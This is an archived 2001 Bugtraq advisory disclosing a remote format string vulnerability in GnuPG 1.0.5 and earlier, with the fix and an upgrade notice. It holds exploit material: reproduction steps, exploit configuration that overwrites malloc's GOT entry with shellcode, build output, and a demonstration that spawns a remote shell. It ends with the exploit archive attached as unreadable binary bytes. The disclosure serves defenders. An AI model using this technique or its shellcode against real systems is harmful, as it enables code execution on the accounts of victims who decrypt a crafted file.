6559151 2001-05-29 19:58 +0200 /235 rader/ fish stiqz <fish@analog.org> Sänt av: joel@lysator.liu.se Importerad: 2001-05-30 02:43 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <17194> Ärende: [synnergy] - GnuPG remote format string vulnerability ------------------------------------------------------------ --------------------------------------------------------------------------- Remote arbitrary code execution vulnerability in GnuPG <= 1.0.5 Synnergy Networks (http://www.synnergy.net/) By: fish stiqz <fish@synnergy.net> Released: 05/29/2001 --------------------------------------------------------------------------- ( Will the REAL GnuPG bug please stand up? ) --------------------------------------------------------------------------- --------------------------------------------------------------------------- [ Contents of this Advisory ] 0. Introduction 1. Problem 2. Solution 3. Exploit Discussion 4. Credit and Thanks --------------------------------------------------------------------------- [ Introduction ] GnuPG is a very popular GNU replacement for the public key encryption program PGP. As described by its website (http://www.gnupg.org/): > GnuPG is a complete and free replacement for PGP. Because it does not > use the patented IDEA algorithm, it can be used without any > restrictions. GnuPG is a RFC2440 (OpenPGP) compliant application. Hidden deep within its code is a format string vulnerability which can be triggered simply by attempting to decrypt a file with a specially crafted filename. This vulnerability can allow a malicious user to gain unathorized access to the account which attempted the decryption. --------------------------------------------------------------------------- [ Problem ] The problem code lies in util/ttyio.c in the 'do_get' function. There is a call to a function called 'tty_printf' (which eventually results in a vfprintf call) without a constant format string: > tty_printf( prompt ); If gpg attempts to decrypt a file whose filename does not end in ".gpg", that filename (minus the extension) is copied to the prompt string, allowing a user-suppliable format string. --------------------------------------------------------------------------- [ Solution ] The vulnerable call obviously needs the "%s" conversion: > tty_printf( "%s", prompt ); The newest release of GnuPG (version 1.0.6) contains this security fix, as well as implementing many new features. It can be obtained from http://www.gnupg.org/download.html. All GnuPG users are strongly urged to upgrade as soon as possible. --------------------------------------------------------------------------- [ Exploit Discussion] In order to show the severity of the bug, look first at how it is reproduced. 1. Create a file with a valid format string as the filename. $ echo "hello, how are you friend?" > %8x_%8x_%8x 2. Encrypt this file. $ gpg -r fish@analog.org -e %8x_%8x_%8x gpg: this cipher algorithm is depreciated; please use a more standard one! $ ls %8x_%8x_%8x* %8x_%8x_%8x %8x_%8x_%8x.gpg 3. gpg added the ".gpg" extension to the new encrypted file, give it a different one. $ mv %8x_%8x_%8x.gpg %8x_%8x_%8x.el8 4. Now, attempt to decrypt the file. $ gpg %8x_%8x_%8x.el8 You need a passphrase to unlock the secret key for user: "fish stiqz (bleh) <fish@analog.org>" 1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F) gpg: %8x_%8x_%8x.el8: unknown suffix Enter new filename [ 80af5d9_ 80cefb8_ 80af5ca]: Now you will notice that the %8x's were expanded! However, the actual filename is not our format string. The original filename, which is stored inside the file as part of the encrypted data, is the real format string. So the file could be renamed again and still produce the same result: $ mv %8x_%8x_%8x.el8 README.TXT $ gpg README.TXT You need a passphrase to unlock the secret key for user: "fish stiqz (bleh) <fish@analog.org>" 1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F) gpg: README.TXT: unknown suffix Enter new filename [ 80af5d9_ 80cefb0_ 80af5ca]: The exploit I have created simply creates and encrypts a file that exploits this vulnerability. However, considering that there is no possible way to determine what type of machine the file will be decrypted on, the size of the remote environment, the location that libc is mapped, etc... the exploit will require a lot of knowledge about the remote system for it to work. For this reason, this exploit can be considered "Proof of Concept". There were a few hurdles to get around while building this exploit. First, since this a remote attack, there are only two ways to feed data to gpg. 1) Through the filename and 2) through the encrypted data inside the file. Option #1 seemed easiest to use, so I used it. Second, since there are limitations on the size of a filename, 255 bytes on Linux systems for example, we need a small format string and a small remote shellcode. The format string and shellcode combination would be located on the stack, allowing the Linux kernel patch from the Openwall Project to defend against this kind of attack. However, this is not acceptable for an exploit by fish stiqz ;-). Before the vulnerable call, the prompt is created on the heap, and the format string copied to it. The filename (our format string and shellcode combination) taken from the data inside the file, is also copied to the heap, allowing two different places to store a remote shellcode on the heap. The first location is complicated by the fact that the prompt is filtered through iscntrl(), escaping all characters in the range of 0x00-0x1f and 0x7f. But, since I thought it would be fun to make some remote shellcode to get around this, I chose to use the first location on the heap, but either one is fine. Example exploitation: (overwrite the GOT entry of malloc() to point to the shellcode on the heap) (from config.h in the exploit) /* <FIXME> */ /* location of the *local* copy of gpg, used to encrypt the file */ #define DEFAULT_GPG_PATH "/usr/local/bin/gpg" /* contents appended to the format string, or NULL if you want to skip it */ #define APPEND lnx_i386_remote_shellcode /* only needed if appending APPEND is defined, NULL if you wanna skip */ #define ARCHNOP "\x90" /* the overwrites (most definitely needed) */ short_write_t short_array[] = { /* overwrite 0x080c9dc4 (GOT of malloc) with 0x080cca60 (shellcode) */ { 0xca60, 0x080c9dc4 + 0 }, { 0x080c, 0x080c9dc4 + 2 }, { 0, 0 } }; /* </FIXME> */ Make the backdoored file: $ make clean && make rm -f *~ *.o gnupig gcc -Wall -O2 -g -c gnupig.c gcc -Wall -O2 -g -c common.c gcc -Wall -O2 -g -c file.c gcc -Wall -O2 -g -c shellcode.c gcc -Wall -O2 -g -c fmtstr.c gcc -Wall -O2 -g -o gnupig gnupig.o common.o file.o shellcode.o fmtstr.o $ ./gnupig -s -e 366 -a 4 -k fish@analog.org [0] shellcode passed. [1] running gpg to encrypt the dummy file. gpg: this cipher algorithm is depreciated; please use a more standard one! [2] created dummy file successfully. User runs gpg on the encrypted file: $ gpg *.el8 ... Remote shell is spawned: (in other terminal) $ telnet localhost 16705 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. id; uid=1000(fish) gid=100(users) exit; Connection closed by foreign host. There are a few other tricks you can do, like doing a return into libc attacks and writing the payload with the format string, which can be performed by this exploit. It is a very versatile tool. Unfortunately, or fortunately (depending on your point of view), these types of attacks will also be unreliable (due to the fact that we dont know the remote environment or how gpg is spawned). ------------------------------------------------------------------------- [ Credit and Thanks ] Thanks to the GnuPG developers for an excellent program. Many thanks to all of those involved with this. MaXX and dethy, you have been some great guys to work with, thanks for all the help. Shouts: - MaXX and dethy - you guys RULE! - scrippie for the format string generation ideas. - venomous for the late night irc conversation ;-) - ysyi & async.org ------------------------------------------------------------------------- As always, if updates of this exploit or advisory are made, they will be posted to my website: http://gibson.analog.org/ The exploit code is attached. - fish stiqz Synnergy Networks (6559151) /fish stiqz <fish@analog.org>/--(Ombruten) Bilaga (application/x-tar-gz) i text 6559152 6559152 2001-05-29 19:58 +0200 /41 rader/ fish stiqz <fish@analog.org> Importerad: 2001-05-30 02:43 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <17195> Bilaga (text/plain) till text 6559151 Ärende: Bilaga till: [synnergy] - GnuPG remote format string vulnerability ------------------------------------------------------------ ½ß; gnupig.tar ì<isÛ8²ùjþ 2K,ë´8μã$ÞÍULí¼J\*$)Ãòf'ï·ow ÁCÎå8µoÌ#G£Ñhô h槡;Û½õ-nwØÝà³ÛÛuñ³ÛéS=·ºûîp¿¿·º½^0¸ÅFß+õ¤qÂ#ÆnMÝx~y;Å×Ðõ>3¹þv°X~çR |ñÓíu»{r½k×4Ñúö{½=øÞ>ÝbÝoMéù¯ÿmwê;bÊÆã£W/^¼z9~6[·¡ÄõE±ÐÚÝfÓÔ·7ðYI¬B³í]Ë ·üLÃÈõ>ñÄ8Nàë¬i~0Ù¢Íb÷O1NÚµ¬ÔÝ/|eðdz0J²1Ôã3mç<p¶ý{^`7%(h%KßY,ßôHºÐ(jjL:N±rÏJ4c×rpYgG'bÅYëâ'v¼-|ÇZß{q?áQûÿ¬ÎéñýßëöåþvG£a¿Oû´³ÿ¯ã¹ýµuiæaÓ b¡Ú³§~úú){pÈzngÄÄEènÂ&«û:1$8÷?Ùüþ?Üç^0ëÑì¡õõh=yþèé¯lcãíüDÛyÕg;3ëùcUqhÿ~ÕcëèÏlÛzõË?òN eP ¥AÀâ¹ð<;pðût¤ëW²hÞg?6±eÙàþ}k#Z°)Ûþ?¶ ÃéJùy²->ZP+§Ýb;º)-àCÍ:wìNp¿¦Í~|`Áó½ò湶§hÿÙßdÈÿ~wÔ¯Ø{ÃùÏm×·½ÔìA8nÐì5<wR)ãÑË, \âÚ¬`ÅI[ÊRø~ȺҲØ6;"Ðö\ü±å³eÄÃPD¤0d·u¬5ó[Ö¿-¬Lá½Òî´ÙJiú;<d/{þ¼E-d_|¦Û´ 3 C°ÍªËfÚbSÝùÕ öß{¿Ñ±²îXõäíøɣ翽9Vu,úDF>#ô>à¬+De¦E£5L"m·~ê¬Ì&uý¹ëßhò´äÿ½v 8 -ô²(Ûå M¥õgÏÇP¢~4¨ÌèÝÎ)k ñúá¾Nªcõ´Âù¼ÜU u>¾Ê1§^ÏU¿±ÎÝ$ *ÓÊ=/V&8ÍæÕ67Ö;;MõÓ~8MÂî{Kªç[<þ÷§`ê~øOo¸ß«è0 nôÿ5<R~Ñò§§àÎ\pG)çd.§Ü·5s&°2 C¼TÄ, ØrÎ,\¤Ã&Ò%\iÄâUuÇ?ô/õ QZzùääi%<æ&JC¹dói¢ON~qüàÁ+(=9Ë`J³ÛÆãLá Ëf!8¯°ØÎHøv´ iRäû!=úãã'~{þvüôõÓñëGo±ÆnG»nwâú» ©¡BX~"ü$f¨ý`:@ÑHem¤BÝ êIÆT&´ÏÜãlýèõëãç_ÝÁݽq$A"Æ_Jþ·b¾8 Ã@º·3 ÎiÇõ¹ÕòÍѳ¯^³Æû{]9/Bp.¢eä&ÀÍE *Ã{6v¡ CDÉq#ßxñÕ»Sv¨"¢¬¡±îE÷n×¾çØCÖ|úê-®4×Zlé&s¨jïuY35DvTc]ÛsuÙvVå¥ú¾QßÆÖÖi¿>Ø5xè¿'¶÷)ÿjË|ÿ¯7*þ7P,ãÿ7ñ¿ky¤ü×ËÏvX6ì÷$wA@1}èD!.µF¸ÜÙ<aMØ}XJèÿq¡þ.'O.g.äuƪ±Nð#Ò/å¥ÅJ,ÒW$¹Uù©ç>J4àÑQóxü§¸9·^ ¾ÚG/Lû å=Ó)¹`ðÊþúª§ÓnרÖÎU¡¶)´2«ee^ݲ6çÕS¦»ðbv Èòõô2`%iÔ±¡s`ó±ðÄôV³Ø|{êFèiJc$u4mÔtç¡ÁmÔ;!W^'X?]LÀú ¯Æ)°UÅ!IH!x)UË]éfæßj<]±È|±å³<ª{ÚÓøáºäåÜqx1ÕÀ¸wîÜb×XòÉëåpF)2dÕìfó3! åF66oÏ/î¿O6o{(kWáï(©!CblG4ÈæOJý¬h¶Ú¯=WÍ\ñØV¦K9 ø6Ëq?6ÀcDS Q ·ÄÂs§hx>>þå·§ n%båGkíT ´Q66s½Û"2îL J¨ÐPËÜ°Ý:äÔÀå1U2¯(Ø%¹AÃÅlLYtÜwãFÂN¾ lLÃm·ÃØ[²bÓG³GG»çâ0íÔãö1Ì68B"W\7I§Sµ¥ (ðíÒ6¿K¸ Ç1¡IQ&ÑG\¤JEIU Yc g´<º-.¡!ër¯mml° 5·)TÈâ-µ^Ëo¦k9î2qTNCÂMÖ˱*P©"¨Í¦1ðvF7S¥µZ`øöZy-jµL° ³Ï/Û},0x,fÈ.ïj±B§Fk[·îd1UUv¬CX`4EÈνôäP@=ê®'öqä Æ×Þìͦ\{`ïÀû;XÖSTQè¨Au) ¼JnÑT¥4è,WTÕBwÝÉNmÂ' Do²Ã%¬ BÑWzüTA¢½f9 ð ¸ìùZfs+ ²ÐµEÑ ë¨M%!¡ÔRÄRÛ5¡§oරsÈÌZÂD_ªÝ§ðZ-S {«²3 íN]@ök8Ä®åÛà bDüaY«_Â6÷ý@é ÆADSÌe êÍ,ÓHzyÚ\ë-Û1;4®²¾H.ø ×|êåYþ©ÿý8GLµ¯ Þ&õ@÷ ¹Ì7"³SÝh9Óg²Æ®ez%V Ño #-È"U¢ {|Ã1a»* mVän QV¯Tf0VµfQÎÖ $e¢2M=é~ºÒêã08·Ï~,ÂÐc§Ãê´½ãÆaÉcKC¯ç~\þ×Ê» ´rêºÝË\þí)âê8!ó®ojÄxè½uOQófÝSÀ@Îû TÕË«0Þ¥ºÔ § ÞA]Uï´I/Õ mðôÕýEÔ HÃÊô9Ëõª§ ÷S]ãZнÓ6ÉK ¿n¶hºÀhl[w^Íˬ`".É|"éîÅx<&É߯JP)qÕ[³ý%¬µ;z£ºAÔ-q7ÇÁBèèûª=K'ÐáP>sÂ0 `6¨sÉz³*W¶¹«F9(:wáâþh"{½½K6çúE®¥mã<¿Àå³/E¹jêpɶãÇ^®yAá¬p½®ëÜتÕe×B\¦þØìÂX¶ß·@ÜO2ÖiðQ?P,²QxB fî¯Qo2Å`ò :æ,Xz'ô«H 4?È@}Cw1èÈÝ?Ù÷RAAÌt¯ÐÆù·ÊÎ)Q¹^DÞJ6«ù"J¥ã«®ù<p@'+.bJd½ ^x¬ñÿþ{ýE8eÍ·sîÅÌáË;ØiYÍrÜ '®¯7oa±ðÏã6+P8;+R} önÅM¦*̱ì¬ÙyrúnJ¬Ò`'[0@Xj Ì\¾æ²þ»SmÝ°m6AïdÛ¢Ø WÉ[£@ØK4ä׬wÞ ÒR5ùü Ij(ÀESûl3%3»ÀSCç{A³´nWËzß;qó\ÿSÌÿ}§óÃnùüÇ~¿{ÿ»§ÿ5è¬`M¾ïè³ò}úÇo}û¦tÃ(´,¼RmeN jeèV㤬4d´Z¥ªêDy"(Û !àë²ÛL$ Ar~,;VIï9]Ú.ÝWªOûdÖg?°É'·vQéí³ÂÞñªÎxÉ/VP6â³eo õMfÍäw·ÊËüÿìÇÚG˺æöÆøüz{eù?è÷näÿu<JþË[;lAùAô5t±XÉCo2 §LÔ:"_w¬Ã([Å»x ZJâ¹Z¼än©ñÔö¯Xú. P,QäkÏXâ<T_Æ°åAæI±çgõaÁ8 Cð×*ôÁºY8ëT}-ãiV¥Wh?y2×ïgbåf+<?êF@è: ÉáùJ*(h&ñ#¡Z¡Ñ¥ <_,¿ò x4ñÐû·Jî6v"p`hø"m%~¨B~ ¥Úr,ã¢4 ´o6½zqETI}¸S CS¼\1ÅáQe£zÁbtKÎ]_Ø)èéÆ3ôk³gÁñHàËÉ Ú]µ½ MzרÖD-ùQêûÈmÀ:士ù^îÈà+v5×BÆç ÕDhª.»"¯a ú6>!ÃP U=Ñ°r#=`´nÓÓ2EgM¹2ù¡\Þ¹ë9H¨ ªYqÛ¤@Ûoä":`¶'¨d¶pCÆäP Ký;¯ hoßÍ ù= 9>¼|û¦U¨6\ó r|>äéÍ_J£UNK4ÙÈ6XàYu£gk¦À¾Ym£#¼» c$rpÕ´U:d¤¶lNûÛº_ë©Ýÿ4qÀvV{;ðòþN}ÏõÏrÙ¥r YÍ¢>QèÈÐÝ÷Öæÿ(û/¿Ñü ÀÝÿö{úüo¿¿Òú7÷?®åQòòå7 sßñ:}©éK_¸ÚÀÚ2¿0.bJ %?kR u6lî^fêÍ3¬Ñß9À/¦@$óôU ú£½OH43L½=L3µñ(ivL¥be~¼ ñ°ÊoZ6rò¸q~\C¦°h3tÂ!ÂM` T Bæ8:¶ÃJødÜ ¸ü&©>Ú¢ :37$Q]'¿¨æ°PÕÊX6£:ãÄRn?Þ&DÓ<Åó(FÎN:sCÛÂû,nSÕ£8R¸ÈÜNâ¡JM*OÞÑ¡G)«ýIã6TáUB´ÀöF?¬×Ü\\ÕnOªä'ru¯ÂrÒ¥&¨y½îôÙ¸x~ `cé;5>¾üõñVßÖîV~L)åË,ü3:8d²IW×óï©èÿoøþ§ï øÏ`0¼ùý¯kyÊúS Rîb0}¸²z!ôJ²¿>;~þüèÕããR XBÖ×Ë%¹õr©¯ù©®õb´¥²~àïDn(¸>æGäùÇxhÞm¤X³EJ%ù.DùÌRôöö»£¿µW7éBdãýÅ ÷þÂ¸{ïýÅpøþ¢»ðÊØ$+Êfö@Wc5¡j(ÀßÞT9PeërjbCÑÝò@ð>`jU#Õ ${_7¸@Ñ°'ÿu§¯ºMîÊñ÷9$l²7ÁL §¾¿îÕBÜ-ÏBM~32&lÎnßÎ ásOQÊ&Êt¢pè©&æÀÊ@Å&åfà þIºLä ν|õêOä ¦FO üM÷5¥s\ Ù=,B<